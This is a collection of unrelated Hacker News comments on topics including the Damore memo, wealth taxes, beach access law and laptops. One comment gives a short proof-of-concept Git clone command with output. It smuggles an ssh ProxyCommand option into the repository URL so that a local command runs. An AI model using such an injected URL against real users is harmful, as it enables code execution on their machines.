skysight-inc/HackerNews huggingface dataset:
The best improvement you can make to your mouse is adapting a 12-key thumb layout:

F5 | Up | F2
Left | Down | Right
Tab | Delete| Backspace
Enter | Space | ESC

How many times an hour do you have to reach over to the keyboard, press an arrow or Enter, then have to reach over and find your mouse again? All those seconds add up! Do your eyes leave the screen to find your mouse? This configuration lets you maintain your state of flow, because your hand almost never leaves your mouse, except for actual typing.

You'd be surpised how many tasks can be performed with just the mouse (and the left hand for CTRL+C,CTRL+V). This is the most efficient layout I've found. I've used this for about 5 years now, for massive performance gains in many administration and development roles.
And the author of the paper (implicitly) cited disagrees with the claims.

http://www.wired.co.uk/article/google-fires-engineer-over-an...
Absolutely not. You can arrange a board however the founders and shareholders agree. However, it appears they are arguing that he purposefully withheld valuable information from them that would have made them vote differently on the board arrangement.
This is a large problem in Canada as well. A relative is an ER nurse and she has endless amounts to say about the number of people who come in for these kinds of reasons, or less. The hospital she works at is in a town that was economically decimated in the late 80's and only just started to recover. The number of people who go into emergency because of alcoholism, self-neglect, loneliness, and of course (probably encompassing the rest) mental illness is staggering. She says it's one thing to know their names, but it's bad when you know how their [grand-/]children are doing in school, and who visited or did not visit last week. She is not shy about how much she thinks that social programs need to be expanded in accessibility. I agree.

From what I understand, much of the medical world feels the same way. That's one thing I would certainly add to Canadian health care -- some kind of minimum of public mental health and social work. There are a lot of programs already that don't attach a fee for the patient/subject, but they're not necessarily common knowledge or accessible to people as a "walk in and book" sort of service.

edit: To wit, I think the reasons social programs don't work is inaccessibility to those who really need them, lack of familiarity with them, and taboo (but this last one is probably another discussion). I think right now we need more of them, and they need to have access to proper resources and that their end benefit to society would be substantial. I'd be interested in seeing some projections surrounding that to be sure.
DMAE happens to be one that I've just gotten in today. I tend to have a somewhat exaggerated sensitivity to certain things and, of the supplements I'm considering, DMAE's potential for side effects is probably the most concerning. So, I think I will ease into it with much smaller doses than recommended.

Thanks for sharing your experience.
In smalltown Vermont libraries, we definitely see this as a win-win as long as there is funding for it. The big deal with hackerspaces is making sure they're accessible to everyone (sometimes tricky but a mandate of what a public library needs to do) and inclusive (so not just technically possible for people to use but welcoming to everyone as much as possible).

We've seen people do this well by combining things that are more like toolshops with things that are more like craft and home ec-type spaces (hey it's all about making things) and also recording/video studios. Anything where pooling community resources makes a lot of sense. The big deal is finding the funding and the right people working there to make it all work within library culture as well as within makerspace culture. The two cultures share a lot but there are some non-overlap areas that need to be negotiated well.

In Vermont there are a lot of older people with deep "knowledge of tools" who can find a great slot for them as they may age out of the work-all-day world but can be great mentors to younger folks who might not otherwise have these options. There's also a lot of tech ed where I am, so kids can learn some of this is school which is excellent as well.
Maybe I should give it another try. My short experience was very negative, to say the least.
Since money is what motivates the military-industrial complex, we only need to decide that all future telescopes will be built by armaments manufacturers, because after all the aliens could be planning a preemptive strike. Then all sorts of senators, lobbyists, etc. will be trying constantly to increase telescope spending.
You know these are the reasons or you're just guessing?

One thing I've noticed is that questions of law are rarely straightforward. People often have genuine arguments for their side of the story.
You're kinda missing the point. We've had 50 years of very rich people challenging the law and losing. Many of them applied to the USSC. The USSC is not interested because this is basic mundane permit-condition stuff.

The only time the USSC has slapped down the Coastal Commission is when the Commission went overboard and required a lateral easement along a property for the purpose of views.

As for increasing the parking fees, the legal system is not stupid. You cannot hack around it.
FDIC makes this analogy a tad more difficult, afaik.
curated lead generation. You basically only market the good products in your niche
If you are investing that kind of cash you should be using Coinbase's GDAX exchange not their brokerage service. If you place limit orders on GDAX with the "post only" option checked you will be able to buy coins with zero fees.

Other exchanges have similar fee structures so if you don't want to pay the 1% brokerage fee you really need to learn how to use limit orders regardless of what exchange you ultimately use.
How? Could you elaborate on the type of investigation you undertook that led you to become a skeptic? The scientific community is so overwhelmingly on the side of climate change that you'd have to be really selective to see/read it otherwise.

The "lame folksy rhetoric" is Gore's way of trying to appeal to the skeptics. The problem with issues like climate change is that they're so large and complex that most people feel powerless to affect change, so they do nothing.

An Inconvenient Truth was meant to impart the severity, but also the hope that small changes will make a difference and that, collectively, there's a chance to change course. At the very least, lower our contribution in an effort to change course.

Honestly, blaming this on Gore is beyond comprehension. I'm trying to not to be hyperbolic, but this type of knee-jerk reaction and selective bias highlights how this issue is politicized, and will, as evidence suggests, lead to devastation.
I think the title is phrased badly. You wouldn't say "most businesses don't work", because business is obviously doing just fine. Yet it's true, since most businesses fail in the first few years - 80% by some calculations. And you'd be laughed out of the room if you used this statistic to argue that businesses aren't working.
> I don't think you understand any part of what "unrealized" means. "unrealized" as it relates to taxation simply means that the asset has not beed sold.

No shit... At what point did I allude to it being otherwise?

> What you might personally value my username and what the market values AMZN stock at bear no similarity

Most people don't value Amazon at its current price. The majority of people value it lower or higher. A thin margin of people trade within their sliver of acceptable prices setting the current day trading price. To tax someone at the value a small third party ascribes is so insanely stupid it beggars belief.

The "market cap" of a company has NO BASIS in reality. That's why stock prices fluctuate like crazy for all but the biggest and most well known companies.

> Besides 40% percent is a insane amount, most wealth tax systems are well under 2%.

When do you pay this 2% tax? Every year? Say you own a $500,000 home -- not unreasonable in California. They're going to have to pay $10,000 every year for that home, even if they have no income. Even if they're living off their savings or they're retired and on fixed income.

Let's say some couple bought their home in the 50's for $30k. Today the value of the home is $500k. They're on a fixed income and can't afford to pay $10k in taxes. Are you going to evict them for being "wealthy"? Just because the market values their house at $500k as of this moment?

Boy, I can't wait for people to pump and dump stocks on tax day. It's going to be great... Or I can't wait for people to trash their homes to decrease the value and lower their tax burden.

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Let's take a step back. I just made an offer on your username for $10 billion. Because no one else made an offer the current market value is $10 billion. It will remain $10 billion until someone else makes an offer. At which point, how you calculate the tax burden is up to you. Average? Weighted average? Moving weighted average? Ascending triangle? Support and resistance? Any of the other batshit technical analysis methods? What about the time period? Are you taxing the wealth of the past day, month, year, decade?

"But!", you'll say, "You're just one guy, you don't get to determine the market value of my username". And sadly for you, that's exactly what I get to do. Houses have market values even though a single digit number of people actually bid on them within a 20 year time period. Small cap stocks may only trade a few shares a day.

Your username has had more offers in the past 10 years than my parents house has.
Their house has a market value, and now, so does your username. Pay your taxes.
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The problem is that the author uses "claims" as a way of misrepresented the material of the document. First of all, the phrasing implies that the studies were not linked Damore. Furthermore, the author refers to the claims as "disengenuous", implying that the studies do not exist, or do not demonstrate what Damore claims they do. In other words, the author does not use "claims" to distance herself from the establishment of fact but instead to establish as fact that Damore was wrong.
IronMouth I think? I don't mod there anymore and haven't in a while but I still see some of the respected conservative commenters there but fewer than in the past.
If we discovered actual humans on a near-exact clone of earth, we'd still be about 50,000 years from something relevant here on Earth. Outer space is staggeringly expansive. Staggeringly. Like "your space probe is sad joke" expansive.

We could develop our own alien life right on Earth within that timeframe.
My company has well over 1000 "surface" devices (Pro's, Books, Screens) and they do ok....

They are not even slightly repairable.. so warranty is just a straight swap out.

I have had a Surface-book ($3k i7 Performance base model) for the last month or so... the only complaint I have is that that the bluetooth in it is pathetic. A set of headphones and a mouse connected and I get disconnections and drop outs and slow mouse behaviour constantly.

It is exquisitely engineered... I just love using it.
Alright, I'm excited to check this out. Been teetering on InfluxDB for a while, but not something I wanted to just introduce into corporate. Great work guys!
>Can you explain why hiring women who are just as good as, if not better than, men at the job, but who would prefer (on average) to work elsewhere, perhaps somewhere with more women employees, would make the business do worse?

The issue is in the act of finding them. This is where statistics and discrimination comes into play. Lets say that ratio of women vs men that are interested in working at google (and capable of being hired) is 20% to 80%. Then if your goal is to reach gender parity, you must do one of three things: (1) test significantly more women vs men to find those 20% at a higher rate (which involves active discrimination against men), (2) lower the standards specifically for women so that the pass rate for women is higher, or (3) active intervention along gender lines to increase the percentage of women that are interested and capable of passing a google screening. It should be obvious that 1&2 leads to worse outcomes for Google. (3) doesn't directly lead to worse outcomes, but it could be seen as divisive to discriminate against men in these outreach programs, which could indirectly lead to worse outcomes for Google. Now, one could argue that these gender-based outreach programs are just to counter cultural sexism that have kept women from being more interested in engineering jobs at Google. But if the stats in the memo are accurate, at least some portion of the disparity is not due to external factors but individual choices based on inherent (dis)interest. If this is true then such outreach will largely be unsuccessful for the cost in money and resentment.
Thanks, it didn't occur to me that I could search the archives.
why are we becoming borg?
I'm a long time Microsoft user, sure I dabbled with Linux in my youth, but I never quite got into the tinkering culture and having to spend a day per month in configuring to make things work the way I wanted just wasn't me.

Professionaly I'm now in management but the majority of my development experience had been with .Net. Sure I dabbled with all the open source hyped techs when I was younger, but ultimately settled for .Net and enterprise (which I'm happy is also open sourced now by the way, even if .net core isn't really production ready and takes up way too much devops time to deploy).

These days windows just feels wrong though. It's probably just me but I feel like my windows machines are basically iPads with keyboards that I can't really do anything with the way I want to.

Git sucks on windows, paints replacement sucks, almost anything that isn't .Net development sucks and Visual Studio has to live in a cage or it takes over everything from wanting to debug your steam library to howling at the moon.

And now you're telling me the life expediency of a surface is 2 years. Heh.
Thanks -- I feel very strongly that you can't deal with digital divide issues without dealing with people's emotional issues surrounding technology.

Also, everything I learned about teaching tech I feel like I got from Phil Agre.

http://polaris.gseis.ucla.edu/pagre/how-to-help.html
It's a mindcrime (just kidding)
Why should Google fire people for having the "wrong" ideas, when Google has made it clear that they'll fire people whose ideas conflict with its code of conduct?

https://abc.xyz/investor/other/google-code-of-conduct.html

Damore asserted that his ideas should be heeded by Google (from the very first paragraph: "This needs to change"). And he makes assertions about how Google has been poorly conducting himself:

https://medium.com/@Cernovich/full-james-damore-memo-uncenso...

- Discriminating just to increase the representation of women in tech is as misguided and biased as mandating increases for women’s representation in the homeless, work-related and violent deaths, prisons, and school dropouts.

- I’ve heard several calls for increased empathy on diversity issues. While I strongly support trying to understand how and why people think the way they do, relying on affective empathy—feeling another’s pain—causes us to focus on anecdotes, favor individuals similar to us, and harbor other irrational and dangerous biases. Being emotionally unengaged helps us better reason about the facts.

- Nearly every difference between men and women is interpreted as a form of women’s oppression. As with many things in life, gender differences are often a case of “grass being greener on the other side”; unfortunately, taxpayer and Google money is being spent to water only one side of the lawn.

Why should Google tolerate these claims at face value? And Google truly disagrees with these assertions and their underlying principles, why should it respond with something less than severing ties with an employee who literally demanded, "This needs to change"?

And if Google did respond with something less than termination (nevermind what kind of sanction would be possible), how are other employees not supposed to interpret that other than a concession to some degree, i.e. that Google has doubts, and agrees with Damore that women-in-tech initiatives are a form of discrimination, and is "misguided"? Or that when it comes to complaints about diversity issues, that colleagues or management having "empathy" necessarily opens up the risk of "harbor[ing] irrational and dangerous biases"?

No need for Google to use subterfuge to fire people with conflicting ideas. They say it loud and clear that they expect employees to agree ("follow both its spirit and letter") with the Code of Conduct. And Googlers are all smart enough to see that the Code of Conduct uses language that leaves the interpretation of things more open than narrow: "Google prohibits discrimination, harassment and bullying in any form – verbal, physical, or visual, as discussed more fully in our Policy Against Discrimination, Harassment and Retaliation."
Listen, and understand: The Roman legion is out there. It can't be bargained with. It can't be reasoned with. It doesn't feel pity, or remorse, or fear. And it absolutely will not stop... ever, until you are dead.
This would be good for a eventsourcing storage? Fast events insert and fast reads?
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I had a brief look at some of them. I don't want to be too negative, but it does look like CV-booster articles like 'Learn to known if your employee is a kite or and airplane'.

Maybe I'm not the intended customer here.
Which totalitarian ideology is on the rise, on the left?
The infamous old video from Tom's Hardware Guide: https://www.youtube.com/watch?v=NxNUK3U73SI "What happens when the CPU cooler is removed?"
No. If they're making a killing and released it to the public, there would be a clamor for lower fees.
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This is great!

I made this septa app years ago when realtime-ish data became available.. http://septa.kaybox.org/

Displays all on-time trains as blue, and late trains red. Locations update every 30 seconds, I think.
This is not relevant. Frame rendering latency matters because as an end user this effects performance in an obvious and measurable way. The thing you care about depends on the worst case, so it makes sense it that case. I don't type faster because a competitive typist hit a certain wpm.
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https://en.m.wikipedia.org/wiki/The_Chase_(Star_Trek:_The_Ne...
That's funny because 6 is actually the hardest to reach for anyone without extra-long index fingers.
X rough, python no not-bad native widgets, Qt not well designed(@see blog don't use Qt, G)
More recent studies cited by Brian Nosek here:

https://twitter.com/BrianNosek/status/895410735412543492

And one of his summary tweets:

> “My takeaways: Some observed effects are easy to attribute to culture and hard to attribute to biology in the simplistic dichotomy.”
For a new grad that does sound kinda ridiculous. Stock is how you retain good performers, but new grads are usually unknown quantities.
Privately owned profitable businesses don't usually go trumpeting to the world how wildly profitable they are. That is just inviting competition. Kind of dumb.
Please leave personal attacks out of this. I've done the courtesy of reading Damore's memo and citing and quoting from his linked references. Don't reduce my interest in discussion to having an "extreme axe to grind", which is somewhat ironic since I'm in the demographic that Damore's memo purports to advocate for.
The ACCC handles complaints on behalf of consumers, and is more than happy to fine or litigate [1]. Most companies comply well before this stage.

1: https://www.accc.gov.au/media-release/accc-takes-action-agai...
Quite a contrast:
https://www.theverge.com/2017/8/4/15961740/best-laptop-micro...
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Densely packed structures with no object oriented code sometimes make sense in latency critical code and are not uncommon in financial systems.

That being said, if they weren't trying to eke every microsecond of performance out of the system, then that's pretty poor design, maintainability wise.
I've seen this happen so many times and it makes me infuriated and sad.
yeah, if diseases have trouble transferring to us from animals, I find it doubtful they will spread to us from aliens
How so? FDIC doesn't cover theft.
Earth parasites attack us because they have evolved to do so. If alien analogues of parasites did so, it would just be a completely random thing.
Dying? How so? Lots of companies have their legacy IT infrastructure built on top of IBM's mainframes and products. Who's innovating fast enough to provide a compelling enough reason to replace all that infrastructure? Perhaps IBM is just stable and uninteresting, like most blue chip companies.
A new step-by-step deep learning tutorials in TensorFLow
Meanwhile, some of the smartest and most highly paid people are trying to figure out ways to get people to click more ads. Seems like we are sure squandering our limited time and resources as a species.
Smelting aluminum requires between 12,500 kWh and 15,000 kWh of electricity per ton of yield.

My lights use 8.5 Wh apiece.

The notion that consumer savings will make a dent in our problem has a few problems with decimal places. This is, by-and-large, a capital-driven problem. It's probably true that a reduction of individual consumption of stuff would be more beneficial than our energy use, too...but then that creates a new problem for that capital, too. So not only is avoiding the collective-action problem probably easier, but it's more effective, too.
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Thanks! We've updated the link. Here are some previous discussions:

https://news.ycombinator.com/item?id=14984770

https://news.ycombinator.com/item?id=14984639
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I haven't actually tried this, but I would assume that the exploit would involve tricking Git into passing an ssh_config(5) option (though -o or through -F) which then has a ProxyCommand or LocalCommand that will run on the local machine.

EDIT: Yeah, here's a sample exploit. Popping a shell is left as an exercise to the reader.

% git version
git version 2.14.0
% git clone 'ssh://-o ProxyCommand=touch/foo'
Cloning into 'foo'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
touch: missing file operand
Try 'touch --help' for more information.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
"private property and personal freedom".
Ultimately, these are incompatible, IMHO.
If it's useful, here's the MeFi post on the same article.

http://www.metafilter.com/153938/No-matter-where-I-am-the-pu...
1 user reported the score:
https://www.cpubenchmark.net/cpu.php?cpu=AMD+Ryzen+Threadrip...

Edit: just noticed the title was changed. Originally it said something about Ryzen beating Intel's processors.
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> Yes, that is directly from the LinkedIn dashboard for Uber [1] which has company employment data. I am assuming that they are dependent on people listing their employment as Uber for it to be correct. I believe you have to be a Premium user to get the data.

You're sourcing Linkedin for employment data and using that to say there's a churn problem at Uber?
"enroll to vote"? Surely everybody is already enrolled to vote, since voting is compulsory in Australia.
I appreciate your contributions in these Khosla threads. Thank you!

> Khosla may be a billionaire, but bureaucracy generally doesn't care.

I genuinely enjoy that California can outlast Khosla, and that access to the beach will return eventually. The level of wealthy arrogance is too damn high.